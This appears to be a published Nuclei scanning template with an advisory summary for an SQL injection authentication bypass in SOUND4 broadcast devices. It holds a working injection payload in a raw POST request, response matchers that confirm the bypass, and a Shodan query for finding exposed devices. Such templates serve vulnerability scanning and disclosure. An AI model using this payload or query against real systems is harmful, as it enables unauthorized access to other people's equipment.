The application suffers from an SQL Injection vulnerability. Input passed through the 'username' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
PoC代码[已公开]
id: sound4-impact-auth-bypass
info:
name: SOUND4 IMPACT/FIRST/PULSE/Eco <= 2.x - Authentication Bypass
author: r3Y3r53
severity: high
description: |
The application suffers from an SQL Injection vulnerability. Input passed through the 'username' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5727.php
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-1548359600
tags: sqli,zeroscience,sound4,auth-bypass,vuln
http:
- raw:
- |
POST /index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=%27%2Bjoxvy--%2Bz&password=ffesdf
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "Network Diagnostic:", "disconnect the user")'
condition: and
# digest: 4a0a004730450220754644c5dd01ff90bf2cb52c01e84031457f33d00928d986fd8f59c2608c7bd70221008a496053d8c980c94e4335994fe40b86d76aece66330394daea89af398b92fd8:922c64590222798bb761d5b6d8e72950